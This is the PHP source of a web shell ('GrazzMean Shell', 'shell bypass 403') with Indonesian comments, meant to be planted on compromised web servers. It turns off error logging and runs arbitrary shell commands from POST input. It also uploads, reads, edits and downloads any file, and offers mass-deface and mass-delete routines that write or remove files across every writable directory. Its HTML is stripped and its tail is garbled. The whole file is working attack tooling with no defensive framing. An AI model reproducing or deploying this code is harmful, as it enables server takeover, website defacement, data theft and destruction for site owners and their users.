ui8nj4u6.php

/* Mau recode? izin dulu, recode ga izin itu ga keren ajg */
set_time_limit(0);
error_reporting(0);
@ini_set('error_log',null);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
date_default_timezone_set('Asia/Jakarta');
$_n = 'GrazzMean';
$_s = "

";
$_r = "required='required'";
$_x = "";
if(isset($_GET['option']) && $_POST['opt'] == 'download'){
header('Content-type: text/plain');
header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
echo(file_get_contents($_POST['path']));
exit();
}
function ▟($path,$p) {
if(isset($_GET['path'])) {
$▚ = $_GET['path'];
}else{
$▚ = getcwd();
}
if(is_writable($▚)) {
return "".$p."";
}else{
return "".$p."";
}
}
function ok(){
echo '

';
}
function er(){
echo '

';
}
function sz($byt){
$sz = array('B','KB','MB','GB','TB');
for($i = 0; $byt >= 1024 && $i < (count($sz) -1 ); $byt /= 1024, $i++ );
return(round($byt,2)." ".$sz[$i]);
}
function ip() {
$ipas = '';
if(getenv('HTTP_CLIENT_IP'))
$ipas = getenv('HTTP_CLIENT_IP');
else if(getenv('HTTP_X_FORWARDED_FOR'))
$ipas = getenv('HTTP_X_FORWARDED_FOR');
else if(getenv('HTTP_X_FORWARDED'))
$ipas = getenv('HTTP_X_FORWARDED');
else if(getenv('HTTP_FORWARDED_FOR'))
$ipas = getenv('HTTP_FORWARDED_FOR');
else if(getenv('HTTP_FORWARDED'))
$ipas = getenv('HTTP_FORWARDED');
else if(getenv('REMOTE_ADDR'))
$ipas = getenv('REMOTE_ADDR');
else
$ipas = 'IP tidak dikenali';
return $ipas;
}
function p($file){
if($p = @fileperms($file)){
$i = 'u';
if(($p & 0xC000) == 0xC000)$i = 's';
elseif(($p & 0xA000) == 0xA000)$i = 'l';
elseif(($p & 0x8000) == 0x8000)$i = '-';
elseif(($p & 0x6000) == 0x6000)$i = 'b';
elseif(($p & 0x4000) == 0x4000)$i = 'd';
elseif(($p & 0x2000) == 0x2000)$i = 'c';
elseif(($p & 0x1000) == 0x1000)$i = 'p';
$i .= ($p & 00400)? 'r':'-';
$i .= ($p & 00200)? 'w':'-';
$i .= ($p & 00100)? 'x':'-';
$i .= ($p & 00040)? 'r':'-';
$i .= ($p & 00020)? 'w':'-';
$i .= ($p & 00010)? 'x':'-';
$i .= ($p & 00004)? 'r':'-';
$i .= ($p & 00002)? 'w':'-';
$i .= ($p & 00001)? 'x':'-';
return $i;
}
else return "- ?? -";
}
$disfunc = @ini_get("disable_functions");
if(empty($disfunc)) {
$disfc = "NONE";
}else{
$disfc = "$disfunc";
}
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
}else{
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
echo "

shell bypass 403

$_n Shell

";
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '

: /';
continue;
}
if($pat == '') continue;
echo ' if($i != $id) echo "/";
}
echo '">'.$pat.'/';
}
echo " [ ".▟($path, p($path))." ]

";
echo "

info server

Uname: ".php_uname()."
Software: ".$_SERVER['SERVER_SOFTWARE']."
PHP version: ".PHP_VERSION." [ PHP INFO ] PHP os: ".PHP_OS."
Server Ip: ".gethostbyname($_SERVER['HTTP_HOST'])."
Your Ip: ".ip()."
User: $user ($uid) | Group: $group ($gid)
Safe Mode: $sm
Disable Function:

$disfc

upload
mass deface
mass delete
console

";
// tools nya
if(isset($_GET['path'])) {
$dir = $_GET['path'];
chdir($dir);
}else{
$dir = getcwd();
}
$dir = str_replace("\","/",$dir);
$scdir = explode("/", $dir);
for($i = 0; $i <= $c_dir; $i++) {
$scdir[$i];
if($i != $c_dir) {
}
if(isset($_GET['mass_deface'])) {
echo "$_s";
function mass_kabeh($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$▚ = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($▚, $isi_script);
} elseif($dirb === '..') {
file_put_contents($▚, $isi_script);
}else{
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[] $▚
";
file_put_contents($▚, $isi_script);
$▟ = mass_kabeh($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function mass_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$▚ = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($▚, $isi_script);
} elseif($dirb === '..') {
file_put_contents($▚, $isi_script);
}else{
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[] $dirb/$namafile
";
file_put_contents($▚, $isi_script);
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe'] == 'massal') {
mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
} elseif($_POST['tipe'] == 'biasa') {
mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
}
}
echo "

";
}
if(isset($_GET['mass_delete'])) {
echo "$_s";
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$▚ = $dirc.'/'.$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
}else{
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($▚)) {
echo "[] $▚
";
unlink($▚);
$▟ = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
if($_POST['start']) {
hapus_massal($_POST['d_dir'], $_POST['d_file']);
}
echo "

";
}
if(isset($_GET['cmd'])) {
if(!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd'].' 2>&1');
}
echo "$_s

";
if($cmd):
echo '

'.htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8').'

';
elseif(!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'):
echo '

Tidak ada hasil

';
endif;
}
if(isset($_GET['phpinfo'])) {
@ob_start();
@eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"")+6;
$akhir = strpos($buff,"");
echo "

".substr($buff,$awal,$akhir-$awal)."

";
exit;
}
if(isset($_GET['upload'])) {
echo "$_s";
if(isset($_POST['upl'])){
$hasil = count($_FILES['file']['name']);
for($isi=0;$isi<$hasil;$isi++){
$namafile = $_FILES['file']['name'][$isi];
$up = @copy($_FILES['file']['tmp_name'][$isi],"$path/".$namafile);
}
if($hasil < 2){
if($up){
echo "Upload $namafile ok! ".ok()."

";
}else{
echo 'Upload gagal! '.er().'

';
}
}else{
echo "Upload $hasil ok! ".ok()."

";
}
}
echo "

";
}
if(isset($_GET['filebaru'])) {
echo "$_s";
if(isset($_POST['bikin'])){
$name = $_POST['nama_file'];
$isi_file = $_POST['isi_file'];
foreach ($name as $nama_file){
$handle = @fopen("$nama_file", "w");
if($isi_file){
$buat = @fwrite($handle, $isi_file);
}else{
$buat = $handle;
}
}
if($buat){
echo "";
}else{
echo 'Buat file gagal! '.er().'

';
}
}
echo "

";
}
if(isset($_GET['dirbaru'])) {
echo "$_s";
if(isset($_POST['buat'])){
$nama = $_POST['nama_dir'];
foreach ($nama as $nama_dir){
$folder = preg_replace("([^wsd-_~,;:[](].]|[.]{2,})", '', $nama_dir);
$fd = @mkdir ($folder);
}
if($fd){
echo "";
}else{
echo 'Buat dir gagal! '.er().'

';
}
}
echo "

";
}
}
// akhir tools
if(isset($_GET['filesrc'])){
echo "
name : ".basename($_GET['filesrc']);"
";
echo '

'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'

';
} elseif(isset($_GET['option']) && $_POST['opt'] != 'hapus'){
echo '
name : '.basename($_POST['path']);'
';
// file
if($_POST['opt'] == 'ganti_nama'){
if(isset($_POST['nama_baru'])){
if(rename($_POST['path'],$path.'/'.$_POST['nama_baru'])){
echo "";
}else{
echo 'Ganti nama gagal! '.er().'

';
}
$_POST['name'] = $_POST['nama_baru'];
}
echo '

';
} elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo 'Edit ok! '.ok().'

name	last edit	size	owner:downer	permission
..
$dir	$dt	-	$downer:$dgrp	"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo p("$path/$dir"); if(is_writable("$path/$dir") \|\| !is_readable("$path/$dir")) echo '
$file	$ft	".sz(filesize($file))."	$fowner:$fgrp	"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo p("$path/$file"); if(is_writable("$path/$file") \|\| !is_readable("$path/$file")) echo '

name

last edit

size

owner:downer

permission

options

$dir

$dt

$downer:$dgrp

";
if(is_writable("$path/$dir")) echo '';
elseif(!is_readable("$path/$dir")) echo '';
echo p("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '

$file

$ft

".sz(filesize($file))."

$fowner:$fgrp

";
if(is_writable("$path/$file")) echo '';
elseif(!is_readable("$path/$file")) echo '';
echo p("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '